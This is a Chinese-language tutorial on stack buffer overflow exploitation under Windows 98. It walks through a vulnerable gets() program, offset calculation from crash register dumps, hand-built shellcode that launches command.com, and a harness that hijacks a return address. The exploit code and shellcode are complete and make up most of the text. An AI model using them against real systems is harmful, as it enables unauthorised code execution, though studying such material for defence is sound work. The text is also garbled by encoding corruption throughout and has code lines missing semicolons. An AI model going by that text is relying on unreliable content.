堆棧溢出技術從入門到高深:windows系統(tǒng)下堆棧溢出
windows系統(tǒng)下的堆棧溢出--原理篇
這一講我們來看看windows系統(tǒng)下的程序。我們的目的是研究如何利用windows程序的堆棧溢出漏洞。讓我們從頭開始。
【相關推薦】:
windows 98第二版
首先,我們來寫一個問題程序:
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("//0x%x",name[i]);
}
相信大家都看出來了,gets(name)對name數(shù)組沒有作邊界檢查。那么我們可以給程序一個很長的串,肯定可以覆蓋堆棧中的返回地址。
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0
x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0
x61/0x61
到這里,出現(xiàn)了那個熟悉的對話框“該程序執(zhí)行了非法操作。。。”,太好了,點擊詳細信息按鈕,看到EIP的值是0x61616161,哈哈,對話框還會把返回地址告訴我們。這個功能太好了,我們可以選擇一個序列的輸入串,精確的確定存放返回地址的偏移位置。
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0
x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0
x30/0x32
到這里,又出現(xiàn)了那個熟悉的對話框“改程序執(zhí)行了非法操作。。。”,點擊詳細信息按鈕,下面是詳細信息:
VUNERABLE 在 00de:32363235 的模塊
<未知> 中導致無效頁錯誤。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦,EIP的內(nèi)容為0x32363235,就是2625,EBP的內(nèi)容為0x32343233,就是2423,計算一下可以知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name變量地址開始偏移40處,是ret的地址。我們可以給name數(shù)組輸入我們精心編寫的shellcode。我們只要把name的開始地址放在溢出字符串的地址40就可以了。那么,name的開始地址是多少呢?通過上面的stack dump 我們可以看到,當前ESP所指向的地址0x0064fe00,內(nèi)容為0x32383237,那么計算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在windows系統(tǒng),其他運行進程保持不變的情況下。我們每次執(zhí)行vunera~1的堆棧的開始地址都是相同的。也就是說,每次運行,name的地址都是0x64fdd4。講到這里,大家一定已經(jīng)發(fā)現(xiàn)了這樣一個情況:在win系統(tǒng)中,由于有地址沖突檢測,出錯時寄存器影像和堆棧影像,使得我們對堆棧溢出漏洞可以進行精確的分析溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。
OK,萬事具備,只差shellcode了。#p#
首先,考慮一下我們的shellcode要作什么?顯然,根據(jù)以往的經(jīng)驗,我們想開一個dos窗口,這樣在這個窗口下,我們就可以作很多事情。開一個dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll"
char sysbuf[7] = "system"
char cmdbuf[16] = "command.com"
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
這個程序有必要詳細解釋一下。我們知道執(zhí)行一個command.com就可以獲得一個dos窗口。在C庫函數(shù)里面,語句system(command.com);將完成我們需要的功能。但是,windows不像UNIX那樣使用系統(tǒng)調用來實現(xiàn)關鍵函數(shù)。對于我們的程序來說,windows通過動態(tài)鏈接庫來提供系統(tǒng)函數(shù)。這就是所謂的Dll"s。
因此,當我們想調用一個系統(tǒng)函數(shù)的時候,并不能直接引用他。我們必須找到那個包含此函數(shù)的動態(tài)鏈接庫,由該動態(tài)鏈接庫提供這個函數(shù)的地址。DLL本身也有一個基本地址,該DLL每一次被加載都是從這個基本地址加載。比如,system函數(shù)由msvcrt.dll(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從0x78000000地址開始。system函數(shù)位于msvcrt.dll的一個固定偏移處(這個偏移地址只與msvcrt.dll的版本有關,不同的版本可能偏移地址不同)。我的系統(tǒng)上,msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。
所以,要想執(zhí)行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態(tài)鏈接庫msvcrt.dll,獲得動態(tài)鏈接庫的句柄。然后使用GetProcAddress(LibHandle,system)獲得 system的真實地址。之后才能使用這個真實地址來調用system函數(shù)。
好了,現(xiàn)在可以編譯執(zhí)行,結果正確,我們得到了一個dos框?,F(xiàn)在對這個程序進行調試跟蹤匯編語言,可以得到:
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;現(xiàn)在,eax的值為0x78019824就是system的真實地址。;這個地址對于我的機器而言是***的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數(shù),只有一個參數(shù),就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
#p#
現(xiàn)在我們可以寫出一段匯編代碼來完成system,看以看我們的執(zhí)行system調用的代碼是否能夠像我們設計的那樣工作:
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp ;把ebp的內(nèi)容賦值給esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針
xor edi,edi ;
push edi ;壓入0,esp-4,;作用是構造字符串的結尾/0字符。sub esp,08h ;加上上面,一共有12個字節(jié),;用來放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數(shù)入棧
mov eax, 0x78019824 ;
call eax ;調用system
}
}
編譯,然后運行。好,DOS框出來了。在提示符下輸入dir,copy......是不是想起了當年用286的時候了?敲exit退出來,哎呀,發(fā)生了非法操作。Access Violation。這是肯定的,因為我們的程序已經(jīng)把堆棧指針搞亂了。對上面的算法進行優(yōu)化,現(xiàn)在我們可以寫出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
#p#
還記得第二講中那個測試shellcode的基本程序嗎?我們可以用他來測試這個shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因為:有push ebp ,否則加1就可以了。)(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。
}
編譯運行,得到dos對話框。
現(xiàn)在總結一下。我們已經(jīng)知道了在windows系統(tǒng)下如何獲得一次堆棧溢出,如何計算偏移地址,以及如何編寫一個shellcode以得到dos。理論上,你已經(jīng)具備了利用堆棧溢出的能力了。如果你想通過實戰(zhàn)來真正掌握他,可以參考《Windows的SHELLCODE編寫高級技巧》。